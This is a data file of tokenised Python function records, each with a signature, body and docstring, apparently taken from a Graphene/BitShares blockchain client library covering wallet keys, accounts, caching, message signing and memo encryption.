{"signature": "def getActiveKeyForAccount(self, name):", "body": "account = self.rpc.get_account(name)<EOL>for authority in account[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>try:<EOL><INDENT>return self.getPrivateKeyForPublicKey(authority[<NUM_LIT:0>])<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Obtain owner Active Key for an account from the wallet database", "id": "f8240:c0:m21"}
{"signature": "def getAccountFromPrivateKey(self, wif):", "body": "pub = self.publickey_from_wif(wif)<EOL>return self.getAccountFromPublicKey(pub)<EOL>", "docstring": "Obtain account name from private key", "id": "f8240:c0:m22"}
{"signature": "def getAccountsFromPublicKey(self, pub):", "body": "names = self.rpc.get_key_references([str(pub)])[<NUM_LIT:0>]<EOL>for name in names:<EOL><INDENT>yield name<EOL><DEDENT>", "docstring": "Obtain all accounts associated with a public key", "id": "f8240:c0:m23"}
{"signature": "def getAccountFromPublicKey(self, pub):", "body": "<EOL>names = list(self.getAccountsFromPublicKey(str(pub)))<EOL>if names:<EOL><INDENT>return names[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Obtain the first account name from public key", "id": "f8240:c0:m24"}
{"signature": "def getAllAccounts(self, pub):", "body": "return DeprecationWarning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>", "docstring": "Get the account data for a public key (all accounts found for this\n            public key)", "id": "f8240:c0:m25"}
{"signature": "def getKeyType(self, account, pub):", "body": "for authority in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>for key in account[authority][\"<STR_LIT>\"]:<EOL><INDENT>if str(pub) == key[<NUM_LIT:0>]:<EOL><INDENT>return authority<EOL><DEDENT><DEDENT><DEDENT>if str(pub) == account[\"<STR_LIT>\"][\"<STR_LIT>\"]:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return None<EOL>", "docstring": "Get key type", "id": "f8240:c0:m26"}
{"signature": "def getAccounts(self):", "body": "pubkeys = self.getPublicKeys()<EOL>accounts = []<EOL>for pubkey in pubkeys:<EOL><INDENT>if pubkey[: len(self.prefix)] == self.prefix:<EOL><INDENT>accounts.extend(self.getAccountsFromPublicKey(pubkey))<EOL><DEDENT><DEDENT>return accounts<EOL>", "docstring": "Return all accounts installed in the wallet database", "id": "f8240:c0:m27"}
{"signature": "def getPublicKeys(self, current=False):", "body": "pubkeys = self.store.getPublicKeys()<EOL>if not current:<EOL><INDENT>return pubkeys<EOL><DEDENT>pubs = []<EOL>for pubkey in pubkeys:<EOL><INDENT>if pubkey[: len(self.prefix)] == self.prefix:<EOL><INDENT>pubs.append(pubkey)<EOL><DEDENT><DEDENT>return pubs<EOL>", "docstring": "Return all installed public keys\n\n            :param bool current: If true, returns only keys for currently\n                connected blockchain", "id": "f8240:c0:m28"}
{"signature": "def claim(self, account=None, **kwargs):", "body": "if not account:<EOL><INDENT>if \"<STR_LIT>\" in self.blockchain.config:<EOL><INDENT>account = self.blockchain.config[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>if not account:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>account = self.account_class(account, blockchain_instance=self.blockchain)<EOL>pubkeys = self.blockchain.wallet.getPublicKeys()<EOL>addresses = dict()<EOL>for p in pubkeys:<EOL><INDENT>if p[: len(self.blockchain.prefix)] != self.blockchain.prefix:<EOL><INDENT>continue<EOL><DEDENT>pubkey = self.publickey_class(p, prefix=self.blockchain.prefix)<EOL>addresses[<EOL>str(<EOL>self.address_class.from_pubkey(<EOL>pubkey,<EOL>compressed=False,<EOL>version=<NUM_LIT:0>,<EOL>prefix=self.blockchain.prefix,<EOL>)<EOL>)<EOL>] = pubkey<EOL>addresses[<EOL>str(<EOL>self.address_class.from_pubkey(<EOL>pubkey,<EOL>compressed=True,<EOL>version=<NUM_LIT:0>,<EOL>prefix=self.blockchain.prefix,<EOL>)<EOL>)<EOL>] = pubkey<EOL>addresses[<EOL>str(<EOL>self.address_class.from_pubkey(<EOL>pubkey,<EOL>compressed=False,<EOL>version=<NUM_LIT>,<EOL>prefix=self.blockchain.prefix,<EOL>)<EOL>)<EOL>] = pubkey<EOL>addresses[<EOL>str(<EOL>self.address_class.from_pubkey(<EOL>pubkey,<EOL>compressed=True,<EOL>version=<NUM_LIT>,<EOL>prefix=self.blockchain.prefix,<EOL>)<EOL>)<EOL>] = pubkey<EOL><DEDENT>if self[\"<STR_LIT>\"] not in addresses.keys():<EOL><INDENT>raise MissingKeyError(\"<STR_LIT>\".format(self[\"<STR_LIT>\"]))<EOL><DEDENT>op = self.operations.Balance_claim(<EOL>**{<EOL>\"<STR_LIT>\": {\"<STR_LIT>\": <NUM_LIT:0>, \"<STR_LIT>\": \"<STR_LIT>\"},<EOL>\"<STR_LIT>\": account[\"<STR_LIT:id>\"],<EOL>\"<STR_LIT>\": self[\"<STR_LIT:id>\"],<EOL>\"<STR_LIT>\": addresses[self[\"<STR_LIT>\"]],<EOL>\"<STR_LIT>\": self[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": self.blockchain.prefix,<EOL>}<EOL>)<EOL>signers = [<EOL>account[\"<STR_LIT:name>\"],  <EOL>addresses.get(self[\"<STR_LIT>\"]),  <EOL>]<EOL>return self.blockchain.finalizeOp(op, signers, \"<STR_LIT>\", **kwargs)<EOL>", "docstring": "Claim a balance from the genesis block\n\n            :param str balance_id: The identifier that identifies the balance\n                to claim (1.15.x)\n            :param str account: (optional) the account that owns the bet\n                (defaults to ``default_account``)", "id": "f8241:c0:m2"}
{"signature": "def get(self, key, default=None):", "body": "if key in self:<EOL><INDENT>return self[key]<EOL><DEDENT>else:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Returns an element from the cache if available, else returns\n            the value provided as default or None", "id": "f8243:c0:m3"}
{"signature": "def set_expiration(self, expiration):", "body": "self.default_expiration = expiration<EOL>", "docstring": "Set new default expiration time in seconds (default: 10s)", "id": "f8243:c0:m6"}
{"signature": "def incached(self, id):", "body": "return id in self._cache<EOL>", "docstring": "Is an element cached?", "id": "f8243:c1:m3"}
{"signature": "def getfromcache(self, id):", "body": "return self._cache.get(id, None)<EOL>", "docstring": "Get an element from the cache explicitly", "id": "f8243:c1:m4"}
{"signature": "def items(self):", "body": "if not self._fetched:<EOL><INDENT>self.refresh()<EOL><DEDENT>return dict.items(self)<EOL>", "docstring": "This overwrites items() so that refresh() is called it the\n            object is not already fetched", "id": "f8243:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def clear_cache(cls):<DEDENT>", "body": "cls._cache = ObjectCache()<EOL>", "docstring": "Clear/Reset the entire Cache", "id": "f8243:c1:m9"}
{"signature": "def refresh(self, *args, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Interface that needs to be implemented. This method is\n            called when an object is requested that has not yet been\n            fetched/stored", "id": "f8243:c2:m0"}
{"signature": "def store(self, data, key=None, *args, **kwargs):", "body": "list.__init__(self, data)<EOL>self._store_items(self._cache_key(key))<EOL>", "docstring": "Cache the list\n\n            :param list data: List of objects to cache", "id": "f8243:c2:m3"}
{"signature": "@classmethod<EOL><INDENT>def cache_objects(cls, data, key=None):<DEDENT>", "body": "return cls._import(data, key)<EOL>", "docstring": "This classmethod allows to feed multiple objects into the\n            cache is is mostly used for testing", "id": "f8243:c2:m4"}
{"signature": "def cache(self, key):", "body": "self.store(self, key)<EOL>", "docstring": "(legacy) store the current object with key ``key``.", "id": "f8243:c2:m6"}
{"signature": "def store(self, data, key=\"<STR_LIT:id>\"):", "body": "dict.__init__(self, data)<EOL>self._store_item(key)<EOL>", "docstring": "Cache the list\n\n            :param list data: List of objects to cache", "id": "f8243:c3:m1"}
{"signature": "@classmethod<EOL><INDENT>def cache_object(cls, data, key=None):<DEDENT>", "body": "return cls._import(data, key)<EOL>", "docstring": "This classmethod allows to feed an object into the\n            cache is is mostly used for testing", "id": "f8243:c3:m2"}
{"signature": "@staticmethod<EOL><INDENT>def objectid_valid(i):<DEDENT>", "body": "if \"<STR_LIT:.>\" not in i:<EOL><INDENT>return False<EOL><DEDENT>parts = i.split(\"<STR_LIT:.>\")<EOL>if len(parts) == <NUM_LIT:3>:<EOL><INDENT>try:<EOL><INDENT>[int(x) for x in parts]<EOL>return True<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>return False<EOL><DEDENT>", "docstring": "Test if a string looks like a regular object id of the\n            form:::\n\n               xxxx.yyyyy.zzzz\n\n            with those being numbers.", "id": "f8243:c3:m4"}
{"signature": "def refresh(self):", "body": "dict.__init__(<EOL>self,<EOL>self.blockchain.rpc.get_object(self.identifier),<EOL>blockchain_instance=self.blockchain,<EOL>)<EOL>", "docstring": "This is the refresh method that overloads the prototype in\n            BlockchainObject.", "id": "f8243:c4:m0"}
{"signature": "def refresh(self):", "body": "import re<EOL>if re.match(r\"<STR_LIT>\", self.identifier):<EOL><INDENT>account = self.blockchain.rpc.get_objects([self.identifier])[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>account = self.blockchain.rpc.lookup_account_names([self.identifier])[<NUM_LIT:0>]<EOL><DEDENT>if not account:<EOL><INDENT>raise AccountDoesNotExistsException(self.identifier)<EOL><DEDENT>self.store(account, \"<STR_LIT:name>\")<EOL>if self.full:  <EOL><INDENT>accounts = self.blockchain.rpc.get_full_accounts([account[\"<STR_LIT:id>\"]], False)<EOL>if accounts and isinstance(accounts, list):<EOL><INDENT>account = accounts[<NUM_LIT:0>][<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>raise AccountDoesNotExistsException(self.identifier)<EOL><DEDENT>super(Account, self).__init__(<EOL>account[\"<STR_LIT>\"], blockchain_instance=self.blockchain<EOL>)<EOL>for k, v in account.items():<EOL><INDENT>if k != \"<STR_LIT>\":<EOL><INDENT>self[k] = v<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>super(Account, self).__init__(account, blockchain_instance=self.blockchain)<EOL><DEDENT>", "docstring": "Refresh/Obtain an account's data from the API server", "id": "f8244:c0:m1"}
{"signature": "@property<EOL><INDENT>def is_fully_loaded(self):  <DEDENT>", "body": "return self.full and \"<STR_LIT>\" in self<EOL>", "docstring": "Is this instance fully loaded / e.g. all data available?", "id": "f8244:c0:m3"}
{"signature": "@property<EOL><INDENT>def is_ltm(self):<DEDENT>", "body": "return self.get(\"<STR_LIT:id>\") == self.get(\"<STR_LIT>\")<EOL>", "docstring": "Is the account a lifetime member (LTM)?", "id": "f8244:c0:m5"}
{"signature": "@property<EOL><INDENT>def balances(self):<DEDENT>", "body": "balances = self.blockchain.rpc.get_account_balances(self[\"<STR_LIT:id>\"], [])<EOL>return [<EOL>self.amount_class(b, blockchain_instance=self.blockchain)<EOL>for b in balances<EOL>if int(b[\"<STR_LIT>\"]) > <NUM_LIT:0><EOL>]<EOL>", "docstring": "List balances of an account. This call returns instances of\n            :class:`amount.Amount`.", "id": "f8244:c0:m6"}
{"signature": "def balance(self, symbol):", "body": "if isinstance(symbol, dict) and \"<STR_LIT>\" in symbol:<EOL><INDENT>symbol = symbol[\"<STR_LIT>\"]<EOL><DEDENT>balances = self.balances<EOL>for b in balances:<EOL><INDENT>if b[\"<STR_LIT>\"] == symbol:<EOL><INDENT>return b<EOL><DEDENT><DEDENT>return self.amount_class(<NUM_LIT:0>, symbol, blockchain_instance=self.blockchain)<EOL>", "docstring": "Obtain the balance of a specific Asset. This call returns instances of\n            :class:`amount.Amount`.", "id": "f8244:c0:m7"}
{"signature": "def history(self, first=<NUM_LIT:0>, last=<NUM_LIT:0>, limit=-<NUM_LIT:1>, only_ops=[], exclude_ops=[]):", "body": "_limit = <NUM_LIT:100><EOL>cnt = <NUM_LIT:0><EOL>if first < <NUM_LIT:0>:<EOL><INDENT>first = <NUM_LIT:0><EOL><DEDENT>while True:<EOL><INDENT>txs = self.blockchain.rpc.get_account_history(<EOL>self[\"<STR_LIT:id>\"],<EOL>\"<STR_LIT>\".format(last),<EOL>_limit,<EOL>\"<STR_LIT>\".format(first - <NUM_LIT:1>),<EOL>api=\"<STR_LIT>\",<EOL>)<EOL>for i in txs:<EOL><INDENT>if (<EOL>exclude_ops<EOL>and self.operations.getOperationNameForId(i[\"<STR_LIT>\"][<NUM_LIT:0>]) in exclude_ops<EOL>):<EOL><INDENT>continue<EOL><DEDENT>if (<EOL>not only_ops<EOL>or self.operations.getOperationNameForId(i[\"<STR_LIT>\"][<NUM_LIT:0>]) in only_ops<EOL>):<EOL><INDENT>cnt += <NUM_LIT:1><EOL>yield i<EOL>if limit >= <NUM_LIT:0> and cnt >= limit:  <EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT>if not txs:<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>if len(txs) < _limit:<EOL><INDENT>log.info(\"<STR_LIT>\".format(_limit))<EOL>break<EOL><DEDENT>first = int(txs[-<NUM_LIT:1>][\"<STR_LIT:id>\"].split(\"<STR_LIT:.>\")[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "Returns a generator for individual account transactions. The\n            latest operation will be first. This call can be used in a\n            ``for`` loop.\n\n            :param int first: sequence number of the first\n                transaction to return (*optional*)\n            :param int last: sequence number of the last\n                transaction to return (*optional*)\n            :param int limit: limit number of transactions to\n                return (*optional*)\n            :param array only_ops: Limit generator by these\n                operations (*optional*)\n            :param array exclude_ops: Exclude these operations from\n                generator (*optional*).\n\n            ... note::\n                only_ops and exclude_ops takes an array of strings:\n                The full list of operation ID's can be found in\n                operationids.py.\n                Example: ['transfer', 'fill_order']", "id": "f8244:c0:m8"}
{"signature": "def upgrade(self):  ", "body": "assert callable(self.blockchain.upgrade_account)<EOL>return self.blockchain.upgrade_account(account=self)<EOL>", "docstring": "Upgrade account to life time member", "id": "f8244:c0:m9"}
{"signature": "def whitelist(self, account):  ", "body": "assert callable(self.blockchain.account_whitelist)<EOL>return self.blockchain.account_whitelist(account, lists=[\"<STR_LIT>\"], account=self)<EOL>", "docstring": "Add an other account to the whitelist of this account", "id": "f8244:c0:m10"}
{"signature": "def blacklist(self, account):  ", "body": "assert callable(self.blockchain.account_whitelist)<EOL>return self.blockchain.account_whitelist(account, lists=[\"<STR_LIT>\"], account=self)<EOL>", "docstring": "Add an other account to the blacklist of this account", "id": "f8244:c0:m11"}
{"signature": "def nolist(self, account):  ", "body": "assert callable(self.blockchain.account_whitelist)<EOL>return self.blockchain.account_whitelist(account, lists=[], account=self)<EOL>", "docstring": "Remove an other account from any list of this account", "id": "f8244:c0:m12"}
{"signature": "@property<EOL><INDENT>def account(self):<DEDENT>", "body": "account = self.account_class(self[\"<STR_LIT>\"], blockchain_instance=self.blockchain)<EOL>return account<EOL>", "docstring": "In oder to obtain the actual\n            :class:`account.Account` from this class, you can\n            use the ``account`` attribute.", "id": "f8244:c1:m1"}
{"signature": "def get_instance_class(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Should return the Chain instance class, e.g. `bitshares.BitShares`", "id": "f8246:c1:m2"}
{"signature": "def define_classes(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Needs to define instance variables that provide classes", "id": "f8246:c1:m3"}
{"signature": "@property<EOL><INDENT>def chain(self):<DEDENT>", "body": "return self.blockchain<EOL>", "docstring": "Short form for blockchain (for the lazy)", "id": "f8246:c1:m5"}
{"signature": "def shared_blockchain_instance(self):", "body": "if not self._sharedInstance.instance:<EOL><INDENT>klass = self.get_instance_class()<EOL>self._sharedInstance.instance = klass(**self._sharedInstance.config)<EOL><DEDENT>return self._sharedInstance.instance<EOL>", "docstring": "This method will initialize ``SharedInstance.instance`` and return it.\n            The purpose of this method is to have offer single default\n            instance that can be reused by multiple classes.", "id": "f8246:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def set_shared_blockchain_instance(cls, instance):<DEDENT>", "body": "cls._sharedInstance.instance = instance<EOL>", "docstring": "This method allows us to override default instance for all\n            users of ``SharedInstance.instance``.\n\n            :param chaininstance instance: Chain instance", "id": "f8246:c1:m7"}
{"signature": "def set_shared_instance(self):", "body": "self._sharedInstance.instance = self<EOL>", "docstring": "This method allows to set the current instance as default", "id": "f8246:c1:m8"}
{"signature": "@classmethod<EOL><INDENT>def set_shared_config(cls, config):<DEDENT>", "body": "assert isinstance(config, dict)<EOL>cls._sharedInstance.config.update(config)<EOL>if cls._sharedInstance.instance:<EOL><INDENT>cls._sharedInstance.instance = None<EOL><DEDENT>", "docstring": "This allows to set a config that will be used when calling\n            ``shared_blockchain_instance`` and allows to define the configuration\n            without requiring to actually create an instance", "id": "f8246:c1:m9"}
{"signature": "def sign(self, account=None, **kwargs):", "body": "if not account:<EOL><INDENT>if \"<STR_LIT>\" in self.blockchain.config:<EOL><INDENT>account = self.blockchain.config[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>if not account:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>account = self.account_class(account, blockchain_instance=self.blockchain)<EOL>info = self.blockchain.info()<EOL>meta = dict(<EOL>timestamp=info[\"<STR_LIT:time>\"],<EOL>block=info[\"<STR_LIT>\"],<EOL>memokey=account[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>account=account[\"<STR_LIT:name>\"],<EOL>)<EOL>wif = self.blockchain.wallet.getPrivateKeyForPublicKey(<EOL>account[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>)<EOL>message = self.message.strip()<EOL>enc_message = self.SIGNED_MESSAGE_META.format(**locals())<EOL>signature = hexlify(sign_message(enc_message, wif)).decode(\"<STR_LIT:ascii>\")<EOL>self.signed_by_account = account<EOL>self.signed_by_name = account[\"<STR_LIT:name>\"]<EOL>self.meta = meta<EOL>self.plain_message = message<EOL>return self.SIGNED_MESSAGE_ENCAPSULATED.format(<EOL>MESSAGE_SPLIT=self.MESSAGE_SPLIT, **locals()<EOL>)<EOL>", "docstring": "Sign a message with an account's memo key\n\n            :param str account: (optional) the account that owns the bet\n                (defaults to ``default_account``)\n            :raises ValueError: If not account for signing is provided\n\n            :returns: the signed message encapsulated in a known format", "id": "f8247:c0:m1"}
{"signature": "def verify(self, **kwargs):", "body": "<EOL>parts = re.split(\"<STR_LIT:|>\".join(self.MESSAGE_SPLIT), self.message)<EOL>parts = [x for x in parts if x.strip()]<EOL>assert len(parts) > <NUM_LIT:2>, \"<STR_LIT>\"<EOL>message = parts[<NUM_LIT:0>].strip()<EOL>signature = parts[<NUM_LIT:2>].strip()<EOL>meta = dict(re.findall(r\"<STR_LIT>\", parts[<NUM_LIT:1>]))<EOL>log.info(\"<STR_LIT>\".format(message))<EOL>log.info(\"<STR_LIT>\".format(json.dumps(meta)))<EOL>log.info(\"<STR_LIT>\".format(signature))<EOL>assert \"<STR_LIT>\" in meta, \"<STR_LIT>\"<EOL>assert \"<STR_LIT>\" in meta, \"<STR_LIT>\"<EOL>assert \"<STR_LIT>\" in meta, \"<STR_LIT>\"<EOL>assert \"<STR_LIT>\" in meta, \"<STR_LIT>\"<EOL>account_name = meta.get(\"<STR_LIT>\").strip()<EOL>memo_key = meta[\"<STR_LIT>\"].strip()<EOL>try:<EOL><INDENT>self.publickey_class(memo_key, prefix=self.blockchain.prefix)<EOL><DEDENT>except Exception:<EOL><INDENT>raise InvalidMemoKeyException(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>account = self.account_class(<EOL>account_name, blockchain_instance=self.blockchain<EOL>)<EOL><DEDENT>except AccountDoesNotExistsException:<EOL><INDENT>raise AccountDoesNotExistsException(<EOL>\"<STR_LIT>\".format(<EOL>account_name<EOL>)<EOL>)<EOL><DEDENT>if not account[\"<STR_LIT>\"][\"<STR_LIT>\"] == memo_key:<EOL><INDENT>raise WrongMemoKey(<EOL>\"<STR_LIT>\".format(account[\"<STR_LIT:name>\"])<EOL>+ \"<STR_LIT>\".format(<EOL>account[\"<STR_LIT>\"][\"<STR_LIT>\"], memo_key<EOL>)<EOL>)<EOL><DEDENT>enc_message = self.SIGNED_MESSAGE_META.format(**locals())<EOL>pubkey = verify_message(enc_message, unhexlify(signature))<EOL>pk = self.publickey_class(<EOL>hexlify(pubkey).decode(\"<STR_LIT:ascii>\"), prefix=self.blockchain.prefix<EOL>)<EOL>if format(pk, self.blockchain.prefix) != memo_key:<EOL><INDENT>raise InvalidMessageSignature(\"<STR_LIT>\")<EOL><DEDENT>self.signed_by_account = account<EOL>self.signed_by_name = account[\"<STR_LIT:name>\"]<EOL>self.meta = meta<EOL>self.plain_message = message<EOL>return True<EOL>", "docstring": "Verify a message with an account's memo key\n\n            :param str account: (optional) the account that owns the bet\n                (defaults to ``default_account``)\n\n            :returns: True if the message is verified successfully\n            :raises InvalidMessageSignature if the signature is not ok", "id": "f8247:c0:m2"}
{"signature": "def sign(self, account=None, **kwargs):", "body": "if not account:<EOL><INDENT>if \"<STR_LIT>\" in self.blockchain.config:<EOL><INDENT>account = self.blockchain.config[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>if not account:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>account = self.account_class(account, blockchain_instance=self.blockchain)<EOL>wif = self.blockchain.wallet.getPrivateKeyForPublicKey(<EOL>account[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>)<EOL>payload = [<EOL>\"<STR_LIT>\",<EOL>account[\"<STR_LIT:name>\"],<EOL>\"<STR_LIT:key>\",<EOL>account[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>\"<STR_LIT:time>\",<EOL>str(datetime.utcnow()),<EOL>\"<STR_LIT:text>\",<EOL>self.message,<EOL>]<EOL>enc_message = json.dumps(payload, separators=(\"<STR_LIT:U+002C>\", \"<STR_LIT::>\"))<EOL>signature = hexlify(sign_message(enc_message, wif)).decode(\"<STR_LIT:ascii>\")<EOL>return dict(signed=enc_message, payload=payload, signature=signature)<EOL>", "docstring": "Sign a message with an account's memo key\n\n            :param str account: (optional) the account that owns the bet\n                (defaults to ``default_account``)\n            :raises ValueError: If not account for signing is provided\n\n            :returns: the signed message encapsulated in a known format", "id": "f8247:c1:m1"}
{"signature": "def verify(self, **kwargs):", "body": "if not isinstance(self.message, dict):<EOL><INDENT>try:<EOL><INDENT>self.message = json.loads(self.message)<EOL><DEDENT>except Exception:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>payload = self.message.get(\"<STR_LIT>\")<EOL>assert payload, \"<STR_LIT>\"<EOL>payload_dict = {k[<NUM_LIT:0>]: k[<NUM_LIT:1>] for k in zip(payload[::<NUM_LIT:2>], payload[<NUM_LIT:1>::<NUM_LIT:2>])}<EOL>signature = self.message.get(\"<STR_LIT>\")<EOL>account_name = payload_dict.get(\"<STR_LIT>\").strip()<EOL>memo_key = payload_dict.get(\"<STR_LIT:key>\").strip()<EOL>assert account_name, \"<STR_LIT>\"<EOL>assert memo_key, \"<STR_LIT>\"<EOL>try:<EOL><INDENT>self.publickey_class(memo_key, prefix=self.blockchain.prefix)<EOL><DEDENT>except Exception:<EOL><INDENT>raise InvalidMemoKeyException(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>account = self.account_class(<EOL>account_name, blockchain_instance=self.blockchain<EOL>)<EOL><DEDENT>except AccountDoesNotExistsException:<EOL><INDENT>raise AccountDoesNotExistsException(<EOL>\"<STR_LIT>\".format(<EOL>account_name<EOL>)<EOL>)<EOL><DEDENT>if not account[\"<STR_LIT>\"][\"<STR_LIT>\"] == memo_key:<EOL><INDENT>raise WrongMemoKey(<EOL>\"<STR_LIT>\".format(account[\"<STR_LIT:name>\"])<EOL>+ \"<STR_LIT>\".format(<EOL>account[\"<STR_LIT>\"][\"<STR_LIT>\"], memo_key<EOL>)<EOL>)<EOL><DEDENT>signed_target = json.dumps(self.message.get(\"<STR_LIT>\"), separators=(\"<STR_LIT:U+002C>\", \"<STR_LIT::>\"))<EOL>signed_actual = self.message.get(\"<STR_LIT>\")<EOL>assert (<EOL>signed_target == signed_actual<EOL>), \"<STR_LIT>\".format(<EOL>signed_target, signed_actual<EOL>)<EOL>enc_message = self.message.get(\"<STR_LIT>\")<EOL>pubkey = verify_message(enc_message, unhexlify(signature))<EOL>pk = self.publickey_class(<EOL>hexlify(pubkey).decode(\"<STR_LIT:ascii>\"), prefix=self.blockchain.prefix<EOL>)<EOL>if format(pk, self.blockchain.prefix) != memo_key:<EOL><INDENT>raise InvalidMessageSignature(\"<STR_LIT>\")<EOL><DEDENT>self.signed_by_account = account<EOL>self.signed_by_name = account[\"<STR_LIT:name>\"]<EOL>self.plain_message = payload_dict.get(\"<STR_LIT:text>\")<EOL>return True<EOL>", "docstring": "Verify a message with an account's memo key\n\n            :param str account: (optional) the account that owns the bet\n                (defaults to ``default_account``)\n\n            :returns: True if the message is verified successfully\n            :raises InvalidMessageSignature if the signature is not ok", "id": "f8247:c1:m2"}
{"signature": "def refresh(self):", "body": "block = self.blockchain.rpc.get_block(self.identifier)<EOL>if not block:<EOL><INDENT>raise BlockDoesNotExistsException<EOL><DEDENT>super(Block, self).__init__(<EOL>block, blockchain_instance=self.blockchain, use_cache=self._use_cache<EOL>)<EOL>", "docstring": "Even though blocks never change, you freshly obtain its contents\n            from an API with this method", "id": "f8248:c0:m1"}
{"signature": "def time(self):", "body": "return parse_time(self[\"<STR_LIT>\"])<EOL>", "docstring": "Return a datatime instance for the timestamp of this block", "id": "f8248:c0:m2"}
{"signature": "def refresh(self):", "body": "block = self.blockchain.rpc.get_block_header(self.identifier)<EOL>if not block:<EOL><INDENT>raise BlockDoesNotExistsException<EOL><DEDENT>super(BlockHeader, self).__init__(<EOL>block, blockchain_instance=self.blockchain, use_cache=self._use_cache<EOL>)<EOL>", "docstring": "Even though blocks never change, you freshly obtain its contents\n            from an API with this method", "id": "f8248:c1:m1"}
{"signature": "def time(self):", "body": "return parse_time(self[\"<STR_LIT>\"])<EOL>", "docstring": "Return a datatime instance for the timestamp of this block", "id": "f8248:c1:m2"}
{"signature": "def formatTime(t):", "body": "if isinstance(t, float):<EOL><INDENT>return datetime.utcfromtimestamp(t).strftime(timeFormat)<EOL><DEDENT>if isinstance(t, datetime):<EOL><INDENT>return t.strftime(timeFormat)<EOL><DEDENT>", "docstring": "Properly Format Time for permlinks", "id": "f8249:m0"}
{"signature": "def formatTimeString(t):", "body": "return datetime.strptime(t, timeFormat)<EOL>", "docstring": "Properly Format Time for permlinks", "id": "f8249:m1"}
{"signature": "def formatTimeFromNow(secs=None):", "body": "return datetime.utcfromtimestamp(time.time() + int(secs or <NUM_LIT:0>)).strftime(timeFormat)<EOL>", "docstring": "Properly Format Time that is `x` seconds in the future\n\n        :param int secs: Seconds to go in the future (`x>0`) or the\n                         past (`x<0`)\n        :return: Properly formated time for Graphene (`%Y-%m-%dT%H:%M:%S`)\n        :rtype: str", "id": "f8249:m2"}
{"signature": "def parse_time(block_time):", "body": "return datetime.strptime(block_time, timeFormat).replace(tzinfo=timezone.utc)<EOL>", "docstring": "Take a string representation of time from the blockchain, and parse it\n       into datetime object.", "id": "f8249:m3"}
{"signature": "def assets_from_string(text):", "body": "return re.split(r\"<STR_LIT>\", text)<EOL>", "docstring": "Correctly split a string containing an asset pair.\n\n    Splits the string into two assets with the separator being on of the\n    following: ``:``, ``/``, or ``-``.", "id": "f8249:m4"}
{"signature": "def unlock_wallet(self, *args, **kwargs):", "body": "self.blockchain.wallet.unlock(*args, **kwargs)<EOL>return self<EOL>", "docstring": "Unlock the library internal wallet", "id": "f8250:c0:m1"}
{"signature": "def encrypt(self, message):", "body": "if not message:<EOL><INDENT>return None<EOL><DEDENT>nonce = str(random.getrandbits(<NUM_LIT:64>))<EOL>try:<EOL><INDENT>memo_wif = self.blockchain.wallet.getPrivateKeyForPublicKey(<EOL>self.from_account[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>)<EOL><DEDENT>except KeyNotFound:<EOL><INDENT>raise MissingKeyError(<EOL>\"<STR_LIT>\".format(<EOL>self.from_account[\"<STR_LIT>\"][\"<STR_LIT>\"], self.from_account[\"<STR_LIT:name>\"]<EOL>)<EOL>)<EOL><DEDENT>if not memo_wif:<EOL><INDENT>raise MissingKeyError(<EOL>\"<STR_LIT>\" % self.from_account[\"<STR_LIT:name>\"]<EOL>)<EOL><DEDENT>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.chain_prefix = self.blockchain.prefix<EOL><DEDENT>enc = memo.encode_memo(<EOL>self.privatekey_class(memo_wif),<EOL>self.publickey_class(<EOL>self.to_account[\"<STR_LIT>\"][\"<STR_LIT>\"], prefix=self.chain_prefix<EOL>),<EOL>nonce,<EOL>message,<EOL>)<EOL>return {<EOL>\"<STR_LIT:message>\": enc,<EOL>\"<STR_LIT>\": nonce,<EOL>\"<STR_LIT>\": self.from_account[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>\"<STR_LIT:to>\": self.to_account[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>}<EOL>", "docstring": "Encrypt a memo\n\n            :param str message: clear text memo message\n            :returns: encrypted message\n            :rtype: str", "id": "f8250:c0:m2"}
